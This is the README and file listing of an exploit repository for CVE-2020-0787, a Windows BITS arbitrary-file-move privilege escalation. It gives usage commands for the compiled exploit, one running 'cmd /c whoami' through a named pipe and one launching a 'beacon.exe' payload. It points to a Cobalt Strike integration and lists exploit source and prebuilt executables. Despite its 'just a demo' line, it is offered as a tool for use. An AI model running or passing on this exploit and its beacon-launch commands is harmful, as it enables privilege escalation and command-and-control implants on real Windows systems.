CVE-2020-0787的简单回显
## CVE-2020-0787(named pipe)
It's Just A Demo,Do not use in real.
-Get result for Command execution(Use cmd /c):
`exp.exe "cmd /c whoami > \\\\.\\pipe\\showme " show`
-Run beacon.exe:
`exp.exe "C:/beacon.exe"`

## For CobaltStrike
It's better one than current project:
https://github.com/yanghaoi/ReflectiveDllSource/tree/master/CVE-2020-0787_CNA
## Reference
Source from: https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION
[4.0K] /data/pocs/ca40f53593e413c018c4f6bc8ffd5c724a53625c
├── [4.0K] BitsArbitraryFileMove
│ ├── [ 19K] BitsArbitraryFileMove.cpp
│ ├── [2.0K] BitsArbitraryFileMove.h
│ ├── [8.2K] BitsArbitraryFileMove.vcxproj
│ ├── [1.3K] BitsArbitraryFileMove.vcxproj.filters
│ ├── [ 168] BitsArbitraryFileMove.vcxproj.user
│ ├── [8.6K] CBitsCom.cpp
│ └── [1.2K] CBitsCom.h
├── [4.0K] BitsArbitraryFileMoveExploit
│ ├── [ 27K] BitsArbitraryFileMoveExploit.cpp
│ ├── [8.5K] BitsArbitraryFileMoveExploit.vcxproj
│ ├── [1.1K] BitsArbitraryFileMoveExploit.vcxproj.filters
│ ├── [ 839] BitsArbitraryFileMoveExploit.vcxproj.user
│ └── [ 513] resource.h
├── [2.9K] BitsArbitraryFileMove.sln
├── [ 38K] BitsArbitraryFileMove.v12.suo
├── [4.0K] CommonUtils
│ ├── [3.7K] CommonUtils.cpp
│ ├── [1.0K] CommonUtils.h
│ ├── [8.1K] CommonUtils.vcxproj
│ ├── [2.7K] CommonUtils.vcxproj.filters
│ ├── [ 168] CommonUtils.vcxproj.user
│ ├── [2.0K] DirectoryObject.cpp
│ ├── [4.5K] FileOpLock.cpp
│ ├── [ 789] FileOpLock.h
│ ├── [5.0K] FileSymlink.cpp
│ ├── [ 588] FileSymlink.h
│ ├── [1.6K] Hardlink.cpp
│ ├── [2.0K] NativeSymlink.cpp
│ ├── [2.2K] ntimports.h
│ ├── [5.2K] RegistrySymlink.cpp
│ ├── [ 13K] ReparsePoint.cpp
│ ├── [1.2K] ReparsePoint.h
│ ├── [1.8K] ScopedHandle.cpp
│ ├── [ 498] ScopedHandle.h
│ ├── [ 298] stdafx.cpp
│ ├── [ 270] stdafx.h
│ ├── [ 314] targetver.h
│ └── [1.3K] typed_buffer.h
├── [159K] index.gif
├── [ 528] README.md
├── [4.0K] Release
│ └── [172K] BitsArbitraryFileMoveExploit.exe
└── [4.0K] x64
└── [4.0K] Release
└── [206K] BitsArbitraryFileMoveExploit.exe
6 directories, 40 files